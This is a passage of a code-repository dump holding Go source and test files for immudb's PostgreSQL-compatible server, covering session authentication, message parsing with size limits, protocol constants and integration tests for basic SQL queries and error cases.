s.tlsConfig.RootCAs,\n\t\t}\n\n\t\ttransportCredentials = credentials.NewTLS(config)\n\t}\n\n\topts := client.DefaultOptions().\n\t\tWithAddress(s.immudbHost).\n\t\tWithPort(s.immudbPort).\n\t\tWithDisableIdentityCheck(true).\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithTransportCredentials(transportCredentials)})\n\n\ts.client = client.NewClient().WithOptions(opts)\n\n\terr = s.client.OpenSession(ctx, []byte(user), []byte(pw.GetSecret()), db)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.client.CurrentState(context.Background())\n\n\tsessionID := s.client.GetSessionID()\n\ts.ctx = metadata.NewIncomingContext(context.Background(), metadata.Pairs(\"sessionid\", sessionID))\n\n\ts.log.Debugf(\"authentication successful for %s\", user)\n\tif _, err := s.writeMessage(bm.AuthenticationOk()); err != nil {\n\t\treturn err\n\t}\n\n\tif _, err := s.writeMessage(bm.ParameterStatus([]byte(\"standard_conforming_strings\"), []byte(\"on\"))); err != nil {\n\t\treturn err\n\t}\n\n\tif _, err := s.writeMessage(bm.ParameterStatus([]byte(\"client_encoding\"), []byte(\"UTF8\"))); err != nil {\n\t\treturn err\n\t}\n\n\t// todo this is needed by jdbc driver. Here is added the minor supported version at the moment\n\tif _, err := s.writeMessage(bm.ParameterStatus([]byte(\"server_version\"), []byte(pgmeta.PgsqlServerVersion))); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc parseProtocolVersion(payload []byte) string {\n\tmajor := int(binary.BigEndian.Uint16(payload[0:2]))\n\tminor := int(binary.BigEndian.Uint16(payload[2:4]))\n\treturn fmt.Sprintf(\"%d.%d\", major, minor)\n}\n\nfunc isValidProtocolVersion(version string) bool {\n\treturn version == pgmeta.PgsqlProtocolVersion || version == pgmeta.PgsqlSSLRequestProtocolVersion\n}\n\nfunc (s *session) Close() error {\n\ts.mr.CloseConnection()\n\n\tif s.client != nil {\n\t\treturn s.client.CloseSession(s.ctx)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/message.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"math\"\n\t\"net\"\n\n\t\"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\ntype rawMessage struct {\n\tt       byte\n\tpayload []byte\n}\n\ntype messageReader struct {\n\tconn net.Conn\n}\n\ntype MessageReader interface {\n\tReadRawMessage() (*rawMessage, error)\n\tWrite(msg []byte) (int, error)\n\tRead(data []byte) (int, error)\n\tUpgradeConnection(conn net.Conn)\n\tCloseConnection() error\n\tConnection() net.Conn\n}\n\nfunc NewMessageReader(conn net.Conn) *messageReader {\n\treturn &messageReader{conn: conn}\n}\n\nfunc (r *messageReader) ReadRawMessage() (*rawMessage, error) {\n\tt := make([]byte, 1)\n\tif _, err := r.conn.Read(t); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, ok := pgmeta.MTypes[t[0]]; !ok {\n\t\treturn nil, fmt.Errorf(errors.ErrUnknowMessageType.Error()+\". Message first byte was %s\", string(t[0]))\n\t}\n\n\tlb := make([]byte, 4)\n\tif _, err := r.conn.Read(lb); err != nil {\n\t\treturn nil, err\n\t}\n\tpLen := binary.BigEndian.Uint32(lb) - 4\n\t// unsigned integer operations discard high bits upon overflow, and programs may rely on \"wrap around\"\n\tif pLen > math.MaxInt32 {\n\t\treturn nil, errors.ErrMalformedMessage\n\t}\n\tif pLen > uint32(pgmeta.MaxMsgSize) {\n\t\treturn nil, errors.ErrMessageTooLarge\n\t}\n\tpayload := make([]byte, pLen)\n\tif _, err := r.conn.Read(payload); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &rawMessage{\n\t\tt:       t[0],\n\t\tpayload: payload,\n\t}, nil\n}\n\nfunc (r *messageReader) Write(data []byte) (int, error) {\n\treturn r.conn.Write(data)\n}\n\nfunc (r *messageReader) Read(data []byte) (int, error) {\n\treturn r.conn.Read(data)\n}\n\nfunc (r *messageReader) UpgradeConnection(conn net.Conn) {\n\tr.conn = conn\n}\n\nfunc (r *messageReader) CloseConnection() error {\n\tif r.conn != nil {\n\t\treturn r.conn.Close()\n\t}\n\treturn nil\n}\n\nfunc (r *messageReader) Connection() net.Conn {\n\treturn r.conn\n}\n"
  },
  {
    "path": "pkg/pgsql/server/message_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"encoding/binary\"\n\t\"io\"\n\t\"math\"\n\t\"net\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSession_MessageReader(t *testing.T) {\n\tc1, c2 := net.Pipe()\n\tmr := &messageReader{\n\t\tconn: c1,\n\t}\n\n\tgo func() {\n\t\tc2.Write([]byte{'E'})\n\t\tc2.Close()\n\t}()\n\n\t_, err := mr.ReadRawMessage()\n\n\trequire.ErrorIs(t, err, io.EOF)\n\n\tc1, c2 = net.Pipe()\n\tmr = &messageReader{\n\t\tconn: c1,\n\t}\n\tgo func() {\n\t\tc2.Write([]byte{'E'})\n\t\tc2.Write([]byte{0, 0, 0, 4})\n\t\tc2.Close()\n\t}()\n\n\t_, err = mr.ReadRawMessage()\n\n\trequire.ErrorIs(t, err, io.EOF)\n\n\tmr = &messageReader{}\n\terr = mr.CloseConnection()\n\n\trequire.NoError(t, err)\n\n\tc1, c2 = net.Pipe()\n\tmr = &messageReader{\n\t\tconn: c1,\n\t}\n\tb := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(b, math.MaxUint32)\n\tgo func() {\n\t\tc2.Write([]byte{'E'})\n\t\tc2.Write(b)\n\t\tc2.Close()\n\t}()\n\n\t_, err = mr.ReadRawMessage()\n\n\trequire.ErrorIs(t, err, errors.ErrMalformedMessage)\n\n\tmr = &messageReader{}\n\terr = mr.CloseConnection()\n\n\trequire.NoError(t, err)\n}\n\nfunc TestSession_MessageReaderMaxMsgSize(t *testing.T) {\n\n\tc1, c2 := net.Pipe()\n\tmr := &messageReader{\n\t\tconn: c1,\n\t}\n\tb := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(b, uint32(pgmeta.MaxMsgSize))\n\tgo func() {\n\t\tc2.Write([]byte{'E'})\n\t\tc2.Write(b)\n\t\tc2.Close()\n\t}()\n\n\t_, err := mr.ReadRawMessage()\n\n\trequire.ErrorIs(t, err, io.EOF)\n\n\tmr = &messageReader{}\n\terr = mr.CloseConnection()\n\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"crypto/tls\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n)\n\ntype Option func(s *pgsrv)\n\nfunc Host(host string) Option {\n\treturn func(args *pgsrv) {\n\t\targs.host = host\n\t}\n}\n\nfunc Port(port int) Option {\n\treturn func(args *pgsrv) {\n\t\targs.port = port\n\t}\n}\n\nfunc ImmudbPort(port int) Option {\n\treturn func(args *pgsrv) {\n\t\targs.immudbPort = port\n\t}\n}\n\nfunc Logger(logger logger.Logger) Option {\n\treturn func(args *pgsrv) {\n\t\targs.logger = logger\n\t}\n}\n\nfunc TLSConfig(tlsConfig *tls.Config) Option {\n\treturn func(args *pgsrv) {\n\t\targs.tlsConfig = tlsConfig\n\t}\n}\n\nfunc LogRequestMetadata(enabled bool) Option {\n\treturn func(args *pgsrv) {\n\t\targs.logRequestMetadata = enabled\n\t}\n}\n\nfunc DatabaseList(dbList database.DatabaseList) Option {\n\treturn func(args *pgsrv) {\n\t\targs.dbList = dbList\n\t}\n}\n"
  },
  {
    "path": "pkg/pgsql/server/pgmeta/pg_type.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage pgmeta\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n)\n\nconst (\n\tPgTypeMapOid    = 0\n\tPgTypeMapLength = 1\n\n\tPgsqlProtocolVersion           = \"3.0\"\n\tPgsqlSSLRequestProtocolVersion = \"1234.5679\"\n\tPgsqlServerVersion             = \"9.6\"\n)\n\nvar PgsqlServerVersionMessage = fmt.Sprintf(\"pgsql server %s or greater version implemented by immudb\", PgsqlServerVersion)\nvar ErrInvalidPgsqlProtocolVersion = errors.New(\"invalid pgsql protocol version\")\n\n// PgTypeMap maps the immudb type descriptor with pgsql pgtype map.\n// First int is the oid value (retrieved with select * from pg_type;)\n// Second int is the length of the value. -1 for dynamic.\nvar PgTypeMap = map[string][]int{\n\tsql.BooleanType:   {16, 1},    //bool\n\tsql.BLOBType:      {17, -1},   //bytea\n\tsql.TimestampType: {20, 8},    //int8\n\tsql.IntegerType:   {20, 8},    //int8\n\tsql.VarcharType:   {25, -1},   //text\n\tsql.UUIDType:      {2950, 16}, //uuid\n\tsql.Float64Type:   {701, 8},   //double-precision floating point number\n\tsql.JSONType:      {114, -1},  //json\n\tsql.AnyType:       {17, -1},   // bytea\n}\n\nconst PgSeverityError = \"ERROR\"\nconst PgSeverityFaral = \"FATAL\"\nconst PgSeverityPanic = \"PANIC\"\nconst PgSeverityWarning = \"WARNING\"\nconst PgSeverityNotice = \"NOTICE\"\nconst PgSeverityDebug = \"DEBUG\"\nconst PgSeverityInfo = \"INFO\"\nconst PgSeverityLog = \"LOG\"\n\nconst PgServerErrRejectedEstablishmentOfSqlconnection = \"08004\"\nconst PgServerErrSyntaxError = \"42601\"\nconst PgServerErrProtocolViolation = \"08P01\"\nconst PgServerErrConnectionFailure = \"08006\"\nconst ProgramLimitExceeded = \"54000\"\nconst DataException = \"22000\"\n\nvar MTypes = map[byte]string{\n\t'Q': \"query\",\n\t'T': \"rowDescription\",\n\t'D': \"dataRow\",\n\t'C': \"commandComplete\",\n\t'Z': \"readyForQuery\",\n\t'R': \"authentication\",\n\t'p': \"passwordMessage\",\n\t'U': \"unknown\",\n\t'X': \"terminate\",\n\t'S': \"parameterStatus\",\n\t'E': \"execute\",\n\t'P': \"parse\",\n\t't': \"parameterDesctiption\",\n\t'B': \"bind\",\n\t'H': \"flush\",\n}\n\nvar MaxMsgSize = 32 << 20 // 32MB\n"
  },
  {
    "path": "pkg/pgsql/server/pgsql_integration_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server_test\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"database/sql\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\tisql \"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/jackc/pgx/v4\"\n\tpq \"github.com/lib/pq\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPgsqlServer_SimpleQuery(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')\", table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title FROM %s\", table)).Scan(&id, &amount, &title)\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_SimpleQueryBlob(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\t_, err = db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\n\tblobContent := hex.EncodeToString([]byte(\"my blob content\"))\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id, amount, title, content) VALUES (1, 200, 'title 1', x'%s')\", table, blobContent))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar content string\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title, content FROM %s\", table)).Scan(&id, &amount, &title, &content)\n\trequire.NoError(t, err)\n\tcontentDst := make([]byte, 1000)\n\n\t_, err = hex.Decode(contentDst, []byte(content))\n\trequire.NoError(t, err)\n\n}\n\nfunc TestPgsqlServer_SimpleQueryBool(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\t_, err = db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id, amount, title, isPresent) VALUES (1, 200, 'title 1', true)\", table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title, isPresent FROM %s\", table)).Scan(&id, &amount, &title, &isPresent)\n\trequire.True(t, isPresent)\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_SimpleQueryExecError(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\t_, err = db.Exec(\"ILLEGAL STATEMENT\")\n\trequire.ErrorContains(t, err, \"syntax error: unexpected IDENTIFIER at position 7\")\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryError(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\terr = db.QueryRow(\"SELECT id, amount, title, isPresent FROM notExists\").Scan()\n\trequire.ErrorContains(t, err, isql.ErrTableDoesNotExist.Error())\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb  password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\terr = db.QueryRow(\"SELECT id, amount, title, isPresent FROM notExists\").Scan()\n\trequire.ErrorContains(t, err, errors.ErrDBNotprovided.Error())\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=notexists password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\terr = db.QueryRow(\"SELECT id, amount, title, isPresent FROM notExists\").Scan()\n\trequire.ErrorContains(t, err, errors.ErrDBNotExists.Error())\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\terr = db.QueryRow(\"SELECT id, amount, title, isPresent FROM notExists\").Scan()\n\trequire.ErrorContains(t, err, errors.ErrInvalidUsernameOrPassword.Error())\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\terr = db.QueryRow(\"SELECT id, amount, title, isPresent FROM notExists\").Scan()\n\trequire.ErrorContains(t, err, errors.ErrPwNotprovided.Error())\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\terr = db.QueryRow(\"SELECT id, amount, title, isPresent FROM notExists\").Scan()\n\trequire.Error(t, err)\n}\n\nfunc TestPgsqlServer_SimpleQueryTerminate(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')\", table))\n\trequire.NoError(t, err)\n\n\terr = db.Close()\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title FROM %s\", table)).Scan(&id, &amount, &title)\n\trequire.ErrorContains(t, err, \"sql: database is closed\")\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')\", table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title FROM %s WHERE id=2\", table)).Scan(&id, &amount, &title)\n\trequire.ErrorIs(t, err, sql.ErrNoRows)\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\t_, err = db.Exec(\"CREATE DATABASE db\")\n\trequire.NoError(t, err)\n\n\t_, err = db.Exec(\"USE DATABASE db\")\n\trequire.ErrorContains(t, err, errors.ErrUseDBStatementNotSupported.Error())\n\n}\n\nfunc TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := 